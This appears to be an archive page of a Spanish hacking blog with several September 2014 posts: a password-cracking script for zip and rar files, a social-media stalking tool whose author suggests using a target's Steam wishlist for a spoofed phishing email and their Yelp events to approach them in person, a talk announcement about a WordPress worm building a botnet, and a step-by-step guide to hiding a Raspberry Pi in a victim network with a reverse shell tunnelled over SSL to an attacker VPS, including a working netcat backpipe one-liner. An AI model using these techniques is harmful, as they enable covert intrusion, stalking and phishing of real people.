viernes, 26 de septiembre de 2014

Juankeando con la Pitón - Parte 1

Típica imagen de Python que aparece en todos los blogs/webs habidos y por haber que no aporta nada pero queda bien.


Ahora estoy trasteando con python a fin de aprender más sobre el lenguaje y leyendo el genial libro Violent Python con lo que dedicaré algunas entradas a scripts y demás hechos con este lenguaje. Principalmente algunos son ideas tomadas del libro y ampliadas para que hagan terceras cosas o lo hagan de forma distinta.

En esta primera entrada mostraré un script para realizar ataques de diccionario sobre archivos comprimidos, funcionando tanto sobre archivos rar como zip.

Puesto que la finalidad de la entrada es mas didáctica que práctica por así decirlo, el código usa la librería optparse para gestionar los parámetros de entrada (que yo desconocía). El código en el libro solo permitía realizar ataques sobre archivos zip, para ello usaba ZipFile para comprobar el tipo de archivo e ir probando contraseñas. Yo he añadido la biblioteca RarFile que con las mismas instrucciones que la anterior permite hacer lo propio sobre archivos rar.

El script se llama pyUncompress y lo podéis descargar de aquí. Posteriormente creare una carpeta en el github de 0verl0ad (si el señor @TheXC3LL me deja, pues es python y no se llevan muy bien...) donde aglutinaré toda esta serie de post de Juankeando con la Pitón.

Update => Repositorio en 0verl0ad de pyJuanker.

Fuentes y material interesante:


En fin, nos leemos en breve ;)

5 0verl0ad Labs: septiembre 2014 Típica imagen de Python que aparece en todos los blogs/webs habidos y por haber que no aporta nada...

sábado, 20 de septiembre de 2014

Overstalk: extrae información de redes sociales

¡Saludos!

       Anoche tuve insomnio y hasta las 9 de la mañana no he conseguido poder pegar ojo. Para aprovechar el tiempo me puse a trastear con con las redes sociales, scrapeando algunas cosillas y automatizando procesos. De ahí sale este pequeño script: overstalk.

     La idea que tuve era: ¿cuanta información, y hasta qué punto automatizada, puedo obtener de una persona sin quebrarme la cabeza?. Un buen punto de partida pueden ser los blogs, la gente publica ahí links hacia sus redes sociales. Recopilar los perfiles a los que enlaza desde el blog debe de ser desde luego el inicio. Dicho y hecho, script al canto:

 



     Vemos que hay cosillas interesantes, como su e-mail, su usuario en Yelp y en LastFM. Yelp es una red social donde, entre otras cosas, la gente puede indicar a qué eventos va a asistir -con dirección y hora-; y LastFM permite ver los gustos musicales de esa persona... Si por algún motivo estuviesemos interesado en esa persona, ya sabríamos donde poder abordarla y hacia donde conducir la conversación para tener puntos en común (películas, música, etc.). Pues vamos a ello:

Primero, ver en qué eventos va a estar:


Y ahora veamos qué música le gusta...



    Podríamos sacar más info de Yelp (le he añadido posibilidad de ver todas las amistades y también lugares preferidos), pero esto nos basta.

     Por otro lado también estuve oteando qué se cocía por su cuenta de steam. Saber sus videojuegos, y su "lista de videojuegos deseados" puede ser útil para realizar un ataque de phising (tenemos su e-mail, podemos obtener su steam ID y ver su lista de deseados; se le manda un e-mail spoofeando a Steam y ofreciendo una oferta de la metahostia para ese videojuego que desea):



  Después de ésto, pensé que sería interesante ver en qué redes sociales podemos encontrar un nick (porque la web de NameChk falla más que una escopetilla de plomos), asi que también script que te crió:


Probé con "XC3LL" (que no es mi nick, el mío lleva el The) y encontré bastante sitios donde hay user creado. Lo interesante sería combinar (con un bucle y un grep desde el propio termianl se podría) los resultados del principio (los perfiles extraídos del blog) con dónde está registrado, de tal forma que completaríamos bastante más la información.

No iba a publicar anda hasta después del Navaja, pero dejo este post de relleno donde muestro en qué me entretengo cuando no puedo pegar ojo.

El script está en el GitHub del blog ( https://github.com/0verl0ad/overstalk ) y conforme me vayan haciendo falta extraer info de algo, le meteré módulos. No voy a meterme anda de twitter, porque Creepy y Tinfoleak hacen ya un buen trabajo.


Byt3z!








5 0verl0ad Labs: septiembre 2014 ¡Saludos!        Anoche tuve insomnio y hasta las 9 de la mañana no he conseguido poder pegar ojo....

martes, 2 de septiembre de 2014

¡Nos vamos al Navaja Negra! [2, 3 y 4 de Octubre, Albacete]

¡Saludos!

   Este año, al igual que el anterior, iré al congreso Navaja Negra , que se celebra en Albacete (2, 3 y 4 de Octubre)... ¡pero esta vez de ponente!

    Cuando asistí el año pasado me lo pasé como un enano, fue una de las experiencias más agradables de mi vida. Tanto por el lado de disfrutar de las charlas (la mayoría muy buenas) como por el networking. Mientras que estuve en tierra albaceteña conocí un montón de personas con las que he acabado forjando un lazo de amistad muy fuerte, y de las que he aprendido un montón.

    Una de las cosas que más me gusta de esta CON es la transparencia que mantienen en todo momento publicando los presupuestos, votaciones, etc.; así como el detalle de las donaciones al Banco de Alimentos del dinero ganado en los premios que han obtenido. Además, los organizadores estan plenamente involucrados con todos los asistentes, interactuando con ellos continuamente, y preocupándose por todo. ¡Ojo! como te vean sólo un momento irán a por ti para presentarte a gente.

   Y la guinda de todo ha sido el detalle de cómo se ha llevado acabo el Call For Papers, que para mí es algo que deberían de hacer en otras CON: junto con la entrada se te permitía votar por las charlas. Es decir, que tú tienes la oportunidad de decidir qué quieres ver, lo que significa que realmente el congreso es para nosotros, los asistentes. Y eso es increíble. Para más inri, a la hora de votar no se mostraba el nombre , permitiendo que la gente votara en base a la descripción de la ponencia y no a la fama.

      El panel completo y definitivo de las charlas creo que se publica el día 8 (según plazo que aparece en la web). De la mía os puedo adelantar que se titula The Walking WordPress: "zombificando webs", y en ella mostraré lo sencillo que es hacer un worm en PHP que ataque plugins vulnerables de WordPress, replicandose en cada WordPress infectado, y añadiendo con cada infección un nuevo "zombie" a una especie de botnet que está controlada desde un C&C y que nos va a permtir realizar ataques coordinados (DDoS, infección de visitantes, robo masivo de credenciales, Black Seo, etc.). Además mostraré cómo los  plugins de seguridad más populares que implementan medidas de  file integrity monitoring -iThemes Security, WordFence, Acunetix, Sucuri, Exploit Detector-  para detectar cuando un archivo es backdoorizado son evadibles con un par de líneas.


   Sinceramente cuando mandé el CFP y vi el resto de charlas pensé que jamás podría salir elegida por la calidad que tienen el resto. Pero si la gente está interesada en el tema, ¡tendré que subir al escenario!.


¡Nos vemos en Albacete!


Byt3z!
5 0verl0ad Labs: septiembre 2014 ¡Saludos!    Este año, al igual que el anterior, iré al congreso Navaja Negra , que se celebra en Albacete (2, 3 y 4 de Octubre)... ¡pero...

lunes, 1 de septiembre de 2014

Architeuthis [II]: tunneling a reverse shell over SSL

¡Saludos!

  Después de haber trasteado la parte "física" del proyecto, dejando la raspberry pi oculta, debemos de empezar a perfilar el resto.

    Una vez que hayamos conectado a la corriente Architeuthis en una red de una empresa / universidad / whatever necesitamos poder controlarla desde el exterior -si no qué lógica tendría-. El problema está en que muy probablemente esta red disponga de diferentes medidas para dificultar conexiones "ajenas". IDS's, firewalls, etc.

   Por ello creo que la mejor forma de mantener el control es a través de una conexión inversa que conecte Architeuthis con un VPS nuestro, y nosotros desde cualquier red conectarnos a ese VPS vía SSH.


        Red Objetivo
                                       |
[Architeuthis]-----------|------------> [VPS]<-------------------[Nosotros]


     Y no solo eso, sino que la conexión Architeuthis-VPS se realice a través de un túnel SSL. Si parece HTTPS, huele como HTTPS, quizás piensen que es HTTPS. Probablemente haya mejores formas de camuflar el tráfico, si  conoceis alguna por favor publicadla en los comentarios para echarle un ojo.

  El tunel lo vamos a establecer usando Stunnel, quedando de forma esquemática algo similar a:


    (localhost)   PUERTO                               PUERTO   (localhost)
_____________>2200                                       777<________
|    Architeuthis                                                             VPS         |
|____________>445 <--------(SSL)------------>445<_________|


    Enviamos la shell hacia el puerto 2200 en localhost; stunnel se encarga de coger el tráfico, encapsularlo, y enviarlo hacia el VPS. Allí stunnel se encarga de pasarselo descifrado al puerto local 777;  y viceversa. Para manejar la shell tendremos netcat a la escucha.


  En este capítulo nos limitaremos a instalar stunnel, configurarlo y hacer pruebas. Más adelante configuraremos un script para que haga todas las tareas y se conecte automáticamente al encenderse la raspberry pi.


En la raspberry pi: 


sudo apt-get install stunnel4
openssl genrsa 1024 > stunnel.key
openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt
cat stunnel.crt stunnel.key > stunnel.pem

sudo mv stunnel.pem /etc/stunnel/

  De esta forma instalamos stunnel y generamos un certificado. Este certificado deberemos de usarlo también en el VPS, asi que sacamos una copia y los subimos. Hacemos un "cat /etc/stunnel/stunnel.pem" para ver si todo esta OK. Si es así, procedemos a crear un archivo de configuración llamado stunnel.conf y lo guardamos en /etc/stunnel/. El contenido de este archivo:

pid = /var/run/stunnel.pid
cert = /etc/stunnel/stunnel.pem
[Remote Shell]
accept = 127.0.0.1:2200
connect = VPS_IP:443
client = yes

Sustituir VPS_IP con la IP del VPS (captain obvio al rescate). Levantamos el servicio:

sudo service stunnel4 start

En el VPS:

          Instalamos stunnel con apt-get y colocamos en /etc/stunnel/ el archivo stunnel.pem que habíamos generado previamente. Creamos un archivo stunnel.conf en /etc/stunnel/ con lo siguiente:

pid = /var/run/stunnel.pid
cert = /etc/stunnel/stunnel.pem
[Reverse Shell]
accept = VPS_ip:443
connect = 127.0.0.1:777

  Y levantamos el servicio (sudo service stunnel4 start).



Si todo ha ido bien podremos probar si el tunel está establecido. En el VPS dejamos netcat a la escucha del puerto 777:

nc -vlp 777 

Y desde la raspberry pi hacemos un:
 nc -nv 127.0.0.1 2200

Si todo va OK, al escribir en la raspberry pi debereíamos de ver lo mismo en el VPS. Si quereis manejarla ya desde aquí, podeis sacar una shell usando:

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 127.0.0.1 2200 1>/tmp/backpipe
Byt3z!

5 0verl0ad Labs: septiembre 2014 ¡Saludos!   Después de haber trasteado la parte "física" del proyecto, dejando la raspberry pi oculta, debemos de empezar a per...
< >